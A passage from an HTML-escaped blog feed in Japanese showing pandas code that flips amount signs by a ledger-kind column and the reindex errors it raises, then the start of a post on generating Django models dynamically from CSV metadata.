&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;_balance&lt;/span&gt;(df):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; df[&lt;span style="color:#e6db74"&gt;&amp;#34;bookitem_kind&amp;#34;&lt;/span&gt;] &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;1&amp;#34;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; df[&lt;span style="color:#e6db74"&gt;&amp;#34;amount&amp;#34;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; df[&lt;span style="color:#e6db74"&gt;&amp;#34;amount&amp;#34;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; df_epm_cost[&lt;span style="color:#e6db74"&gt;&amp;#34;amount2&amp;#34;&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; df_epm_cost&lt;span style="color:#f92672"&gt;.&lt;/span&gt;apply(_balance, axis&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;df_epm_cost[&lt;span style="color:#e6db74"&gt;&amp;#34;amount&amp;#34;&lt;/span&gt;]&lt;span style="color:#f92672"&gt;.&lt;/span&gt;where(df_epm_cost[&lt;span style="color:#e6db74"&gt;&amp;#34;bookitem_kind&amp;#34;&lt;/span&gt;] &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;0&amp;#34;&lt;/span&gt;, &lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; df_epm_cost[&lt;span style="color:#e6db74"&gt;&amp;#34;amount&amp;#34;&lt;/span&gt;], inplace&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="valueerror-cannot-reindex-on-an-axis-with-duplicate-labels"&gt;&lt;code&gt;ValueError: cannot reindex on an axis with duplicate labels&lt;/code&gt;&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;df_epm_cost&lt;span style="color:#f92672"&gt;.&lt;/span&gt;loc[df_epm_cost[&lt;span style="color:#e6db74"&gt;&amp;#34;bookitem_kind&amp;#34;&lt;/span&gt;] &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;1&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;amount2&amp;#34;&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; df_epm_cost[&lt;span style="color:#e6db74"&gt;&amp;#34;amount&amp;#34;&lt;/span&gt;] &lt;span style="color:#f92672"&gt;*&lt;/span&gt; (&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;FutureWarning: reindexing with a non-unique Index is deprecated and will raise in a future version&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ValueError: cannot reindex on an axis with duplicate labels&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;インデックスを削除するとうまく行く:&lt;/p&gt;</description></item><item><title>Django 動的モデル生成</title><link>https://hdknr.github.io/blogs/posts/2023/08/django-%E5%8B%95%E7%9A%84%E3%83%A2%E3%83%87%E3%83%AB%E7%94%9F%E6%88%90/</link><pubDate>Wed, 16 Aug 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/08/django-%E5%8B%95%E7%9A%84%E3%83%A2%E3%83%87%E3%83%AB%E7%94%9F%E6%88%90/</guid><description>&lt;h1 id="django--動的モデル生成"&gt;Django : 動的モデル生成&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;定義されたメタ情報で同じテーブルを複数作る&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;19
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;20
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;21
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;22
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;23
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;24
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;25
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;26
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;27
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;28
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;29
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;30
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;31
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;32
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;33
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;34
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;35
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;36
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;37
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;38
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;39
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;40
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;41
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;42
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;43
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;44
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;45
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;46
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;47
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;48
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;49
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;50
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;51
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;52
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;53
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;54
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;55
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;56
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;57
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;58
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;59
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;60
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; pathlib &lt;span style="color:#f92672"&gt;import&lt;/span&gt; Path
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; pandas &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; pd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; django.conf &lt;span style="color:#f92672"&gt;import&lt;/span&gt; settings
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; django.db &lt;span style="color:#f92672"&gt;import&lt;/span&gt; connection, models
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;get_meta&lt;/span&gt;(name):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&amp;#34; 定義情報(CSV)ファイル &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; path &lt;span style="color:#f92672"&gt;=&lt;/span&gt; META_DIR &lt;span style="color:#f92672"&gt;/&lt;/span&gt; &lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;name&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;.map.csv&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; pd&lt;span style="color:#f92672"&gt;.&lt;/span&gt;read_csv(path, dtype&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;str&amp;#34;&lt;/span&gt;)&lt;span style="color:#f92672"&gt;.&lt;/span&gt;fillna(&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;)&lt;span style="color:#f92672"&gt;.&lt;/span&gt;to_dict(orient&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;records&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;named_model&lt;/span&gt;(name, code):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; meta &lt;span style="color:#f92672"&gt;=&lt;/span&gt; get_meta(name)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; class_name &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;name&lt;span style="color:#e6db74"&gt;}{&lt;/span&gt;code&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; table_name &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;name&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;_&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;code&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; unique_fields &lt;span style="color:#f92672"&gt;=&lt;/span&gt; list(map(&lt;span style="color:#66d9ef"&gt;lambda&lt;/span&gt; i: i[&lt;span style="color:#e6db74"&gt;&amp;#34;column&amp;#34;&lt;/span&gt;], filter(&lt;span style="color:#66d9ef"&gt;lambda&lt;/span&gt; i: i[&lt;span style="color:#e6db74"&gt;&amp;#34;unique&amp;#34;&lt;/span&gt;] &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;1&amp;#34;&lt;/span&gt;, meta)))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Meta&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; db_table &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;oracle_&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;table_name&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; constraints &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; models&lt;span style="color:#f92672"&gt;.&lt;/span&gt;UniqueConstraint(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; fields&lt;span style="color:#f92672"&gt;=&lt;/span&gt;unique_fields,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; name&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;uniq_&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;table_name&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;_field&lt;/span&gt;(item):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; params &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {&lt;span style="color:#e6db74"&gt;&amp;#34;db_index&amp;#34;&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;} &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; item[&lt;span style="color:#e6db74"&gt;&amp;#34;db_index&amp;#34;&lt;/span&gt;] &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; {}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; params[&lt;span style="color:#e6db74"&gt;&amp;#34;blank&amp;#34;&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; (
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; item[&lt;span style="color:#e6db74"&gt;&amp;#34;column&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; models&lt;span style="color:#f92672"&gt;.&lt;/span&gt;CharField(verbose_name&lt;span style="color:#f92672"&gt;=&lt;/span&gt;item[&lt;span style="color:#e6db74"&gt;&amp;#34;label&amp;#34;&lt;/span&gt;], max_length&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;, null&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;, default&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;, &lt;span style="color:#f92672"&gt;**&lt;/span&gt;params),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; fields &lt;span style="color:#f92672"&gt;=&lt;/span&gt; dict(map(_field, meta))
